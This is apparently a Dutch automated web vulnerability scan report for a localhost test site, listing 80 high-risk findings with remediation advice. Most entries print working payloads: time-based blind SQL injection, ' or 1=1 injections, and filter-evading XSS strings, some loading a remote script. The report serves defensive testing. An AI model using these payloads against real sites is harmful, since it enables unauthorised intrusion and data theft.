Scan Rapport

Algemene Informatie

Klant: example

Bedrijf: example-company

Email: webapplicatietest@gmail.com

Scan Informatie

URL: http://localhost:8888

Server: Apache

Scan type: Full Scan

Start tijd: 2017-09-28 10:34:27

Eind tijd: 2017-09-28 10:42:06

Scan tijd: 8 minuten

Scan Resultaten

Dreigingsniveau (Kleur code)	Niveau	Omschrijving
	4	Er zijn één of meer zeer zorgwekkende kwetsbaarheden op de website gevonden. De kans op exploitatie door hackers is zeer hoog. Hackers kunnen toegang krijgen tot het backend systeem en daarop de databases muteren.

Totale dreigementen gevonden

Hoog: 80

gemiddeld: 0

Laag: 0

Categorie dreigementen	Dreigingsniveau	Aantal	Omschrijving
BlindSQLi	hoog	16	Blind SQL Injections is een query injectie techniek waarbij de hacker True en False vragen stelt aan de database om te bepalen of een database kwetsbaar.
SQLi	hoog	6	SQL Injection is een query injectie techniek dat gebruikt wordt om software applicaties aan te vallen met SQL statements met als doel data uit een database op te vragen.
XSS	hoog	58	Cross-site scripting is een type kwetsbaarheid dat vooral gevonden wordt in webapplicaties. XSS maakt het mogelijk voor hackers om client-side scripting talen te injecteren op webpagina's.

Advies: SQLi en Blind SQLi

SQL injectie is helaas nog steeds een veel voorkomende kwetsbaarheid.
Maar gelukkig zijn er een aantal oplossingen hiervoor bedacht.
Hieronder een lijst met simpele technieken om SQL injecties te verkomen.

Regels

- Gebruik maken van Prepared Statments
- Gebruik maken van opgeslagen procedures (zoals data)
- Een White List maken van toegestaande invoer
- Escaping van gebruikersinput.

Advies: XSS

Cross-site scripting is een veel voorkomende client-side kwetsbaarheid waarbij
de aanvaller client-site code injecteert op webpagina.
Er zijn twee basis regels waar een website aan moet
voldoen om dit probleem te verkomen:

Regels

- Voer nooit onvertrouwde data in, behalve op toegestaande locaties
- Voordat de data wordt ingevoerd moet de HTML Escaped worden

Detials van gevonden kwetsbaarheden

ID: 1

Module: blindsql

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: attack

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-28 10:34:57

ID: 2

Module: blindsql

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: attack

Error: error

WASC ID: 19

Methode: POST

Datum:	2017-09-28 10:35:27

ID:	3
Module:	blindsql
Risico:	high
Target URL:	http://localhost:8888/login.php
Parameter:	form-params
Aanval:	attack
Error:	error
WASC ID:	19
Methode:	POST
Datum:	2017-09-28 10:35:58

ID:	4
Module:	blindsql
Risico:	high
Target URL:	http://localhost:8888/login.php
Parameter:	form-params
Aanval:	attack
Error:	error
WASC ID:	19
Methode:	POST
Datum:	2017-09-28 10:36:29

ID:	5
Module:	blindsql
Risico:	high
Target URL:	http://localhost:8888/signin.php
Parameter:	form-params
Aanval:	attack
Error:	error
WASC ID:	19
Methode:	POST
Datum:	2017-09-28 10:37:04

ID:	6
Module:	blindsql
Risico:	high
Target URL:	http://localhost:8888/signin.php
Parameter:	form-params

Aanval: attack	
Error: error	
WASC ID: 19	
Methode: POST	
Datum: 2017-09-28 10:37:40	

ID: 7	
Module: blindsql	
Risico: high	
Target URL: http://localhost:8888/signin.php	
Parameter: form-params	
Aanval: attack	
Error: error	
WASC ID: 19	
Methode: POST	
Datum: 2017-09-28 10:38:59	

ID: 8	
Module: blindsql	
Risico: high	
Target URL: http://localhost:8888/signin.php	
Parameter: form-params	
Aanval: attack	
Error: error	
WASC ID: 19	
Methode: POST	
Datum: 2017-09-28 10:39:33	

ID: 9	
Module: blindsql	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: sleep(10)#1	
Error: http://localhost:8888/index.php?id=sleep%2810%29%231%0A	
WASC ID: 19	
Methode: GET	
Datum: 2017-09-28 10:40:12	

ID: 10	

Module: blindsql
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: sleep(10)#[LF]1
Error: http://localhost:8888/index.php?id=sleep%2810%29%23%5BLF%5D1%0A
WASC ID: 19
Methode: GET
Datum: 2017-09-28 10:40:32

ID: 11
Module: blindsql
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: 1 or sleep(10)#1
Error: http://localhost:8888/index.php?id=1+or+sleep%2810%29%231%0A
WASC ID: 19
Methode: GET
Datum: 2017-09-28 10:40:42

ID: 12
Module: blindsql
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: 1 or sleep(10)#[LF]1
Error: http://localhost:8888/index.php?id=1+or+sleep%2810%29%23%5BLF%5D1%0A
WASC ID: 19
Methode: GET
Datum: 2017-09-28 10:40:52

ID: 13
Module: blindsql
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: 1 and sleep(10)#1
Error: http://localhost:8888/index.php?id=1+and+sleep%2810%29%231%0A

WASC ID:	19
Methode:	GET
Datum:	2017-09-28 10:41:02

ID:	14
Module:	blindsql
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	1 and sleep(10)#[LF]1
Error:	http://localhost:8888/index.php?id=1+and+sleep%2810%29%23%5BLF%5D1%0A
WASC ID:	19
Methode:	GET
Datum:	2017-09-28 10:41:12

ID:	15
Module:	blindsql
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	1/**/or/**/sleep(10)#1
Error:	http://localhost:8888/index.php?id=1%2F%2A%2A%2For%2F%2A%2A%2Fsleep%2810%29%231%0A
WASC ID:	19
Methode:	GET
Datum:	2017-09-28 10:41:31

ID:	16
Module:	blindsql
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	1/**/and/**/sleep(10)#1
Error:	http://localhost:8888/index.php?id=1%2F%2A%2A%2Fand%2F%2A%2A%2Fsleep%2810%29%231%0A
WASC ID:	19
Methode:	GET
Datum:	2017-09-28 10:41:41

ID:	17
Module:	sql
Risico:	high

Target URL:	http://localhost:8888/index.php
Parameter: id	
Aanval: '	
Error: You have an error in your SQL syntax	
WASC ID: 19	
Methode: GET	
Datum: 2017-09-28 10:41:47	

ID: 18	
Module: sql	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: ' or 1=1	
Error: You have an error in your SQL syntax	
WASC ID: 19	
Methode: GET	
Datum: 2017-09-28 10:41:47	

ID: 19	
Module: sql	
Risico: high	
Target URL: http://localhost:8888/login.php	
Parameter: form-params	
Aanval: '	
Error: error	
WASC ID: 19	
Methode: POST	
Datum: 2017-09-28 10:41:47	

ID: 20	
Module: sql	
Risico: high	
Target URL: http://localhost:8888/login.php	
Parameter: form-params	
Aanval: ' or 1=1	
Error: error	
WASC ID: 19	
Methode: POST	

Datum: 2017-09-28 10:41:47

ID: 21

Module: sql

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: '

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-28 10:41:47

ID: 22

Module: sql

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: ' or 1=1

Error: error

WASC ID: 19

Methode: POST

Datum: 2017-09-28 10:41:48

ID: 23

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script>alert('sg6p5v3mz4')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 24

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script>alert("sg6p5v3mz4")</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 25

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt>alert('sg6p5v3mz4')</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 26

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt>alert("sg6p5v3mz4")</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 27

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script>String.fromCharCode(0,sg6p5v3mz4,1)</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 28

Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <ScRiPt>String.fromCharCode(0,sg6p5v3mz4,1)</sCrIpT>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 29	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <script src=http://sg6p5v3mz4/x.js></script>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 30	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <ScRiPt src=http://sg6p5v3mz4/x.js></sCrIpT>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 31	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <script[TAB]src=http://sg6p5v3mz4/x.js></script>	
Error: This webpage is vulnerable for Cross site scripting	

WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 32
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <ScRiPt[TAB]src=http://sg6p5v3mz4/x.js></sCrIpT>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: GET
Datum: 2017-09-28 10:41:48

ID: 33
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <img src=. onerror=alert("sg6p5v3mz4")>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: GET
Datum: 2017-09-28 10:41:48

ID: 34
Module: xss
Risico: high
Target URL: http://localhost:8888/index.php
Parameter: id
Aanval: <img src=. onerror=alert('sg6p5v3mz4')>
Error: This webpage is vulnerable for Cross site scripting
WASC ID: 8
Methode: GET
Datum: 2017-09-28 10:41:48

ID: 35
Module: xss
Risico: high

Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<img src=. onerror=String.fromCharCode(0,sg6p5v3mz4,1)>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET
Datum:	2017-09-28 10:41:48

ID:	36
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<img[TAB]src=.[TAB]onerror=String.fromCharCode(0,sg6p5v3mz4,1)>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET
Datum:	2017-09-28 10:41:48

ID:	37
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<script >alert('sg6p5v3mz4')</script >
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET
Datum:	2017-09-28 10:41:48

ID:	38
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<script >alert("sg6p5v3mz4")</script >
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET

Datum:	2017-09-28 10:41:48

ID:	39
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<script >String.fromCharCode(0,sg6p5v3mz4,1)</script >
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET
Datum:	2017-09-28 10:41:48

ID:	40
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<ScRiPt >String.fromCharCode(0,sg6p5v3mz4,1)</ sCrIpT>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET
Datum:	2017-09-28 10:41:48

ID:	41
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<ScRiPt[TAB]>String.fromCharCode(0,sg6p5v3mz4,1)</[TAB]sCrIpT>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET
Datum:	2017-09-28 10:41:48

ID:	42
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id

Aanval: <script/>alert('sg6p5v3mz4')</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 43

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <script/>alert("sg6p5v3mz4")</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 44

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/>alert('sg6p5v3mz4')</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 45

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <ScRiPt/>alert("sg6p5v3mz4")</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 46

Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <script/ src=http://sg6p5v3mz4/x.js></script/>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 47	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <ScRiPt/ src=http://sg6p5v3mz4/x.js></sCrIpT/>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 48	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <scr<script>ipt>alert('sg6p5v3mz4')</script>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 49	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <scr<script>ipt>alert('sg6p5v3mz4')</scr</script>ipt>	
Error: This webpage is vulnerable for Cross site scripting	

WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 50	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <scr<script>ipt>alert("sg6p5v3mz4")</script>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 51	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <scr<script>ipt>alert("sg6p5v3mz4")</scr</script>ipt>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 52	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/index.php	
Parameter: id	
Aanval: <scr<script>ipt>String.fromCharCode(0,sg6p5v3mz4,1)</script>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: GET	
Datum: 2017-09-28 10:41:48	

ID: 53	
Module: xss	
Risico: high	

Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt>String.fromCharCode(0,sg6p5v3mz4,1)</scr</script>ipt>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET
Datum:	2017-09-28 10:41:48

ID:	54
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt src=http://sg6p5v3mz4/x.js></script>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET
Datum:	2017-09-28 10:41:48

ID:	55
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<scr<script>ipt src=http://sg6p5v3mz4/x.js></scr</script>ipt>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET
Datum:	2017-09-28 10:41:48

ID:	56
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/index.php
Parameter:	id
Aanval:	<object data="javascript:alert('sg6p5v3mz4')">
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	GET

Datum: 2017-09-28 10:41:48

ID: 57

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object data=javascript:String.fromCharCode(0,sg6p5v3mz4,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 58

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object[TAB]data=javascript:String.fromCharCode(0,sg6p5v3mz4,1)>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 59

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:alert('sg6p5v3mz4')></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 60

Module: xss

Risico: high

Target URL: http://localhost:8888/index.php

Parameter: id

Aanval: <object><param name=x value=javascript:alert("sg6p5v3mz4")></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: GET

Datum: 2017-09-28 10:41:48

ID: 61

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <script>alert('b8218xx2wf')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:41:49

ID: 62

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <ScRiPt>alert('b8218xx2wf')</sCrIpT>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:41:49

ID: 63

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <img src=. onerror=alert('b8218xx2wf')>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:41:49

ID: 64

Module: xss	
Risico: high	
Target URL: http://localhost:8888/login.php	
Parameter: form-params	
Aanval: <script >alert('b8218xx2wf')</script >	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: POST	
Datum: 2017-09-28 10:41:49	

ID: 65	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/login.php	
Parameter: form-params	
Aanval: <script/>alert('b8218xx2wf')</script/>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: POST	
Datum: 2017-09-28 10:41:49	

ID: 66	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/login.php	
Parameter: form-params	
Aanval: <ScRiPt/>alert('b8218xx2wf')</sCrIpT/>	
Error: This webpage is vulnerable for Cross site scripting	
WASC ID: 8	
Methode: POST	
Datum: 2017-09-28 10:41:49	

ID: 67	
Module: xss	
Risico: high	
Target URL: http://localhost:8888/login.php	
Parameter: form-params	
Aanval: <scr<script>ipt>alert('b8218xx2wf')</script>	
Error: This webpage is vulnerable for Cross site scripting	

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:41:49

ID: 68

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('b8218xx2wf')</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:41:49

ID: 69

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <object data="javascript:alert('b8218xx2wf')">

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:41:49

ID: 70

Module: xss

Risico: high

Target URL: http://localhost:8888/login.php

Parameter: form-params

Aanval: <object><param name=x value=javascript:alert('b8218xx2wf')></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:41:50

ID: 71

Module: xss

Risico: high

Target URL:	http://localhost:8888/signin.php
Parameter:	form-params
Aanval:	<script>alert('x0ohco0i7q')</script>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	POST
Datum:	2017-09-28 10:41:50

ID:	72
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/signin.php
Parameter:	form-params
Aanval:	<ScRiPt>alert('x0ohco0i7q')</sCrIpT>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	POST
Datum:	2017-09-28 10:41:51

ID:	73
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/signin.php
Parameter:	form-params
Aanval:	<img src=. onerror=alert('x0ohco0i7q')>
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	POST
Datum:	2017-09-28 10:41:54

ID:	74
Module:	xss
Risico:	high
Target URL:	http://localhost:8888/signin.php
Parameter:	form-params
Aanval:	<script >alert('x0ohco0i7q')</script >
Error:	This webpage is vulnerable for Cross site scripting
WASC ID:	8
Methode:	POST

Datum: 2017-09-28 10:41:57

ID: 75

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <script/>alert('x0ohco0i7q')</script/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:41:58

ID: 76

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <ScRiPt/>alert('x0ohco0i7q')</sCrIpT/>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:41:59

ID: 77

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('x0ohco0i7q')</script>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:42:01

ID: 78

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <scr<script>ipt>alert('x0ohco0i7q')</scr</script>ipt>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:42:01

ID: 79

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <object data="javascript:alert('x0ohco0i7q')">

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:42:04

ID: 80

Module: xss

Risico: high

Target URL: http://localhost:8888/signin.php

Parameter: form-params

Aanval: <object><param name=x value=javascript:alert('x0ohco0i7q')></object>

Error: This webpage is vulnerable for Cross site scripting

WASC ID: 8

Methode: POST

Datum: 2017-09-28 10:42:05